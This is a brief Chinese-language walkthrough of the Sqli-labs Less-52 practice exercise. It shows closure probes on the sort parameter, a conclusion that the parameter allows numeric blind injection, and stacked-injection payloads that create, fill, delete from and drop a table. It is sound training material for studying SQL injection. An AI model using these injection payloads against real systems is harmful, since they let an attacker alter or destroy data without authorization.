Sqli labs less 52

1.输入正常参数，网页回显用户名列表。对 sort 参数使用单引号闭合，网页无回显。

 

 2.将后面的内容注释掉，网页无回显。进行下面的所有测试，得出此处存在数值型的盲注。

?sort=1'--+
?sort=1')--+
?sort=1'))--+
?sort=1"--+
?sort=1")--+
?sort=1"))--+

 

 3.堆叠注入

?sort=1;CREATE TABLE WhiteMoon LIKE users;--+
?sort=1;INSERT INTO WhiteMoon SELECT * FROM users;--+
?sort=1;DELETE FROM WhiteMoon;--+
?sort=1;DROP TABLE WhiteMoon;--+